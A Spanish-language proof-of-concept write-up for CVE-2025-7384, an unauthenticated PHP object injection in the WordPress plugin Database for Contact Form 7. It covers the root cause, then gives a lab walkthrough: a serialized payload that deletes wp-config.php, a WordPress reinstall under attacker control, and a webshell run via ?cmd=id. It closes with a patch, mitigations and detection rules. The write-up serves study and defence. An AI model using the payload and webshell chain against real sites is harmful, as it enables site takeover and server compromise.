
Exploit PoC y análisis de causa raíz para una inyección crítica de objetos PHP sin autenticación en WordPress Database for Contact Form 7, que conduce a RCE mediante la eliminación arbitraria de archivos.
Plugin: Database for Contact Form 7 (contact-form-entries) ≤ 1.4.3
CVSS: 9.8 (Crítico)
CWE: CWE-502 — Deserialización de Datos No Confiables
Requisito de autenticación: Ninguno (No autenticado)
Impacto: Ejecución Remota de Código
El plugin "Database for Contact Form 7" (slug: contact-form-entries), en su versión 1.4.3 e inferiores, contiene una vulnerabilidad de Inyección de Objetos PHP. Cuando un administrador de WordPress visualiza un registro (entrada) de formulario dentro del panel de administración, el plugin llama a la función maybe_unserialize() directamente sobre los datos enviados por un usuario no autenticado a través de Contact Form 7, sin controlar la lista de clases permitidas para instanciar.
Un atacante no necesita iniciar sesión; solo necesita enviar un formulario de contacto normal insertando un objeto PHP serializado en cualquier campo del formulario. Estos datos se almacenan sin procesar en la base de datos. Cuando un administrador abre y ve esa entrada, la función de deserialización instancia un objeto elegido por el atacante, disparando métodos mágicos como __destruct() o __wakeup() → ejecutando comportamiento arbitrario dependiendo de los gadgets POP disponibles en el entorno de WordPress.
Nivel de severidad: Con un gadget POP adecuado (por ejemplo, una clase cuyo método
__destruct()llama aunlink()), un atacante puede eliminar el archivowp-config.php, devolviendo WordPress a su pantalla de instalación inicial → reinstalando con una cuenta de administrador controlada por el atacante → instalando un plugin que contiene un webshell → logrando la Ejecución Remota de Código (RCE) completa en el servidor.
PHP usa serialize() para convertir un objeto en una cadena de texto estructurada, y unserialize() para restaurar el objeto desde esa cadena. Cuando unserialize() recibe datos de una fuente no confiable (por ejemplo, entrada de usuario), un atacante puede construir un objeto arbitrario perteneciente a cualquier clase cargada en la memoria de PHP en ese momento.
Métodos especiales que PHP invoca automáticamente durante el ciclo de vida de un objeto. Los más importantes en este contexto:
__wakeup() — se invoca inmediatamente cuando se deserializa un objeto__destruct() — se invoca cuando un objeto se destruye (sale del ámbito, o la petición termina)__toString() — se invoca cuando un objeto se convierte a cadenaTécnica que encadena múltiples métodos mágicos de clases existentes dentro de la aplicación para construir una secuencia peligrosa de comportamientos. El atacante no escribe código nuevo; solo manipula las propiedades de objetos existentes para que, cuando se ejecuten los métodos mágicos, realicen acciones no previstas por los desarrolladores.
maybe_unserialize() en WordPressUna función envolvente del núcleo de WordPress. Llama a is_serialized() para comprobar si una cadena son datos serializados; si es así, llama a unserialize() para restaurar el objeto. Problema: esta función no pasa el parámetro allowed_classes (disponible desde PHP 7.0) para limitar qué clases se permite instanciar.
Comience ejecutando grep en todo el código fuente del plugin para localizar las funciones de deserialización — estas son las funciones más peligrosas en PHP, ya que pueden conducir a Inyección de Objetos:
grep -rn "unserialize" wp-src/wp-content/plugins/contact-form-entries/

El resultado revela múltiples puntos de llamada a maybe_unserialize(), especialmente dentro de includes/data.php, línea 545, en la función verify_val():

// data.php lines 538-548
public function verify_val($string){
if(in_array(substr(ltrim($string),0,1), array('{','['))
&& in_array(substr(rtrim($string),-1), array('}',']'))
){
$val = json_decode($string, 1);
if(is_array($val)){ $string = $val; }
} else if(is_serialized($string)){ // line 544
$string = maybe_unserialize($string); // ★ line 545 — SINK
}
return $string;
}
Pregunta clave: ¿De dónde proviene la variable $string? Si viene de entrada de usuario sin filtrado → esto es una vulnerabilidad.
Localice dónde se invoca verify_val(). Rastree hacia atrás en el mismo archivo data.php:

// data.php lines 520-535
public function get_lead_detail($lead_id){
global $wpdb;
$table = $wpdb->prefix . 'vxcf_leads_detail';
$detail_arr = $wpdb->get_results(
$wpdb->prepare("SELECT * FROM $table WHERE lead_id=%d", $lead_id),
ARRAY_A
);
foreach($detail_arr as $k => $v){
if(!empty($v['value'])){
$detail_arr[$k]['value'] = $this->verify_val($v['value']); // ← calls verify_val
}
}
return $detail_arr;
}
→ $string es precisamente $v['value'] — valores obtenidos de la tabla de la base de datos wp_vxcf_leads_detail. Esta función se llama cuando un administrador ve los detalles de una entrada de formulario.
Siguiente pregunta: ¿De dónde provienen los datos dentro de wp_vxcf_leads_detail? ¿Quién los escribe?
Del Paso 2 sabemos que los datos se obtienen de la base de datos. Siguiente pregunta: ¿quién escribe los datos en ella? Busque consultas INSERT dentro de data.php:
grep -rn "insert" wp-src/wp-content/plugins/contact-form-entries/includes/data.php

Abra el código de la función create_lead() (líneas 85-103) para más detalles:

En las líneas 98-99, el valor $v — que es el contenido de un campo del formulario (por ejemplo, your-message) — se inserta directamente en la base de datos mediante $wpdb->insert(). El plugin se engancha al evento wpcf7_before_send_mail de Contact Form 7, por lo que cada vez que un usuario envía un formulario, todos los campos se almacenan sin procesar.
Comprobación adicional: el plugin sí usa sanitize_text_field() y sanitize_textarea_field() antes de guardar, pero estas dos funciones solo eliminan etiquetas HTML y caracteres HTML especiales: un payload serializado como O:21:"VulnerableFileHandler":2:{...} no contiene etiquetas HTML y, por lo tanto, pasa intacto por completo.
En este punto, el flujo completo queda establecido:
Unauthenticated user submits CF7 form (your-message field contains serialized object)
↓ sanitize_text_field() — DOES NOT block serialized strings
Saved into wp_vxcf_leads_detail table (raw payload)
↓
Admin views entry → get_lead_detail() → verify_val()
↓ is_serialized() returns true
maybe_unserialize($string) — line 545 → PHP instantiates arbitrary object
↓
Object's __destruct() executes → performs attacker-controlled action
Causa raíz: La función
maybe_unserialize()endata.php:545se llama sobre datos que se originan en entrada de usuario no autenticada, sin pasarallowed_classes: false. Un atacante solo necesita enviar un objeto PHP serializado a través del campoyour-messagede un formulario CF7 → cuando un administrador ve la entrada, PHP instancia ese objeto y activa el método mágico__destruct().
Como prueba visual, establezca un punto de interrupción con Xdebug en la línea 545 de data.php. Después de inyectar el payload a través del formulario y de que el administrador vea la entrada, el depurador se detiene exactamente en maybe_unserialize():

Panel de Variables muestra $string conteniendo el payload del atacante:
$string = "O:21:\"VulnerableFileHandler\":2:{s:9:\"file_path\";s:27:\"/var/www/html/wp-config.php\";s:7:\"cleanup\";b:1;}" → el payload viajó desde el formulario → base de datos → función de deserialización sin ser bloqueadoLínea de ejecución:
$string=maybe_unserialize($string);Pila de llamadas muestra la secuencia de llamadas a funciones:
vxcf_form_data->verify_val data.php:545
vxcf_form_data->get_entries data.php:388
vxcf_form::get_entries contact-form-entries.php:2682
vxcf_form_pages->entries_page plugin-pages.php:1017
...
WP_Hook->apply_filters class-wp-hook.php:324
WP_Hook->do_action class-wp-hook.php:348
→ Confirma el flujo exacto analizado: el administrador ve la entrada → get_entries() → verify_val() → maybe_unserialize().
La cadena de ataque consta de 5 etapas. El atacante solo necesita ejecutar la Etapa 1 (envío del formulario). Las etapas 2-5 ocurren automáticamente después de que un administrador ve la entrada.
El atacante envía un formulario CF7 con un objeto PHP serializado en el campo de mensaje.
POST /wp-json/contact-form-7/v1/contact-forms/{id}/feedbackyour-message contiene: O:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;}wp_vxcf_leads_detail — sanitize_text_field() no bloquea las cadenas serializadasEl administrador abre la página Contact Form Entries → ve los detalles de la entrada → el plugin llama a verify_val() → maybe_unserialize().
VulnerableFileHandler con file_path = "/var/www/html/wp-config.php" y cleanup = true__destruct() → unlink("/var/www/html/wp-config.php")El archivo wp-config.php se elimina → WordPress pierde la conexión a la base de datos.
http://target/ → redirige automáticamente a /wp-admin/setup-config.php (pantalla de instalación inicial)El atacante reinstala WordPress usando credenciales de base de datos conocidas (o forzadas por fuerza bruta).
Instalar un plugin que contenga un webshell → ejecutar comandos arbitrarios del sistema.
/wp-content/plugins/shell/shell.php?cmd=iduid=33(www-data) gid=33(www-data) → RCE completadaInicie el laboratorio Docker que contiene WordPress + el plugin vulnerable:
cd CVE-2025-7384
docker-compose up --build -d
Espere unos 40 segundos hasta que los logs muestren LAB READY. Acceda a http://localhost:8181 para verificar que WordPress está en funcionamiento.
Del análisis del código fuente en la Sección 3, sabemos:
data.php:545 — maybe_unserialize() sobre los valores de los campos del formulariowp_vxcf_leads_detail — los datos provienen del formulario CF7sanitize_text_field() — no bloquea cadenas serializadas→ Conclusión: basta con enviar un objeto PHP serializado en cualquier campo del formulario CF7. Elija your-message porque es un área de texto, acepta cadenas largas y tiene menos validación de formato (a diferencia de your-email, que requiere formato de correo electrónico).
Acceda a http://localhost:8181/contact/ y rellene el formulario de la siguiente manera:
| Campo | Valor |
|---|---|
| Tu nombre | dung |
| Tu correo electrónico | [email protected] |
| Asunto | test inject |
| Tu mensaje | O:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;} |

Explicación del payload:
O:21:"VulnerableFileHandler" — instancia la clase VulnerableFileHandler (que tiene __destruct() llamando a unlink())s:9:"file_path";s:27:"/var/www/html/wp-config.php" — la propiedad file_path apunta al archivo objetivo a eliminars:7:"cleanup";b:1 — la propiedad cleanup = true para que __destruct() ejecute unlink()Haga clic en Submit. El formulario muestra un mensaje de error de envío de correo (o éxito) — irrelevante, porque el plugin contact-form-entries ya guardó todos los datos en la base de datos antes de la entrega del correo.
Inicie sesión en http://localhost:8181/wp-admin (admin / admin123) → en el menú izquierdo seleccione CRM Entries → haga clic para ver la entrada recibida.

Este es el momento exacto en que la ejecución llega a data.php:545 — el plugin obtiene el valor de your-message de la base de datos, la comprobación is_serialized() devuelve true, llama a maybe_unserialize() → PHP crea el objeto VulnerableFileHandler → la petición termina, __destruct() se ejecuta → unlink("/var/www/html/wp-config.php").
Navegue a http://localhost:8181/ en el navegador → WordPress redirige a la página /wp-admin/setup-config.php (pantalla de instalación inicial) → el archivo wp-config.php se eliminó correctamente.

Con wp-config.php eliminado, WordPress vuelve al estado no instalado. Pasos del atacante:
Paso 1 — Reinstalar WordPress:
Acceda a http://localhost:8181/wp-admin/setup-config.php → introduzca las credenciales de la base de datos:
| Campo | Valor |
|---|---|
| Nombre de la base de datos | wordpress |
| Usuario | wpuser |
| Contraseña | wppass |
| Host de la base de datos |
Haga clic en Submit → Ejecutar la instalación → crear una nueva cuenta de administrador controlada por el atacante.
Paso 2 — Subir el Webshell:
Inicie sesión en el panel de administración → Plugins → Añadir nuevo → Subir plugin → suba el archivo system-health.zip (o system-monitor.zip).

La carga y activación se realizaron correctamente.
Paso 3 — Ejecutar comandos (RCE):
Acceso: http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=id

Salida: uid=33(www-data) gid=33(www-data) → Ejecución Remota de Código completada
Acceso: http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=whoami

Salida: www-data → Ejecución Remota de Código completada
*Interacción del usuario: NVD lo califica como Ninguna porque ver las entradas del formulario por parte de un administrador es un comportamiento esperado, no una interacción de usuario anómala.
No use maybe_unserialize() sobre datos proporcionados por el usuario. Use json_decode() en su lugar cuando se requiera almacenamiento de datos estructurados.
Si la deserialización es estrictamente necesaria, proporcione la opción allowed_classes: false (PHP 7.0+):
$data = unserialize($string, ['allowed_classes' => false]);
Esto evita que PHP instancie cualquier objeto — permitiendo solo tipos escalares y arrays.
/^[OaCis]:\d+/ (indicador de datos serializados).Actualice el plugin inmediatamente a la versión 1.4.4 o superior
Inspeccione la tabla de la base de datos wp_vxcf_leads_detail en busca de entradas que contengan cadenas con el formato O:XX:"ClassName": — su presencia indica intentos de ataque
Asegúrese de que wp-config.php tenga permisos de archivo restrictivos (440 o 400) — reduciendo la probabilidad de eliminación por el proceso del servidor web
Implemente un WAF (Web Application Firewall) configurado con reglas para detectar objetos PHP serializados en los datos POST
// BEFORE (vulnerable):
} else if(is_serialized($string)){
$string = maybe_unserialize($string);
}
// AFTER (patched):
} else if(is_serialized($string)){
$string = json_decode(json_encode(
unserialize($string, ['allowed_classes' => false])
), true);
}
| Atributo | Valor |
|---|
| CVE ID | CVE-2025-7384 |
| Puntuación CVSS | 9.8 (Crítico) |
| CWE | CWE-502 — Deserialización de Datos No Confiables |
| Plugin afectado | contact-form-entries (Database for Contact Form 7) ≤ 1.4.3 |
| Requisito de autenticación | Ninguno — cualquiera que envíe un formulario CF7 puede inyectar el payload |
| Condición de activación | El administrador ve la entrada inyectada en el panel de administración |
| Impacto máximo | Ejecución Remota de Código no autenticada |
| Versión parcheada | 1.4.4+ (reemplaza unserialize con json_decode o allowed_classes: false) |
| db |
| Prefijo de tablas | wp_ |
| Métrica CVSS | Valor | Explicación |
|---|
| Vector de ataque | Red | Se explota a través de HTTP, no se necesita acceso físico |
| Complejidad de ataque | Baja | Solo requiere enviar 1 petición POST que contenga el payload |
| Privilegios requeridos | Ninguno | No se requiere autenticación — el formulario CF7 está abierto al público |
| Interacción del usuario | Ninguna* | El administrador ve las entradas durante su flujo de trabajo habitual |
| Confidencialidad | Alta | La RCE permite leer cualquier archivo en el servidor |
| Integridad | Alta | La RCE permite escribir/modificar cualquier archivo |
| Disponibilidad | Alta | Eliminar wp-config.php provoca la caída de todo el sitio web |